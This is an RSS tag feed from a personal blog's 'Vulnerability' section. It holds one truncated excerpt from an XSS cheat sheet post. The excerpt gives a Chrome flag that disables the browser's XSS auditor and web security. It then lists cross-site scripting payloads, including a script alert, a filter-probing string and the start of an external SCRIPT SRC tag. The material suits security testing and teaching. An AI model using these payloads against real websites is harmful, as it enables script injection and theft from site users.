https://www.chenshaowen.com/en/tags/vulnerability/Recent content in Vulnerability on Shaowen Chen's WebsiteHugo -- gohugo.ioen©2016 - {year}, All Rights Reserved.Sat, 20 May 2017 09:12:31 +0000weeklyhttps://www.chenshaowen.com/en/blog/xss-cheat-sheet.htmlSat, 20 May 2017 09:12:31 +0000Sat, 20 May 2017 09:12:31 +0000https://www.chenshaowen.com/en/blog/xss-cheat-sheet.htmlIf you use the Chrome browser to test XSS vectors, disable the browser’s XSS interception first. First, close all Chrome browser processes, then run: 1 chrome.exe -args --disable-xss-auditor --args --disable-web-security Enter non-web-safe mode. 1. Injecting HTML/JavaScript with the <> tags 1 <script>alert('XSS')</script> 1 '';!--"<XSS>=&{()} 1 2 //The quotes around SRC can be omitted <SCRIPT SRC=http://ha.微信公众号SecurityXSSR&DVulnerabilityFrontend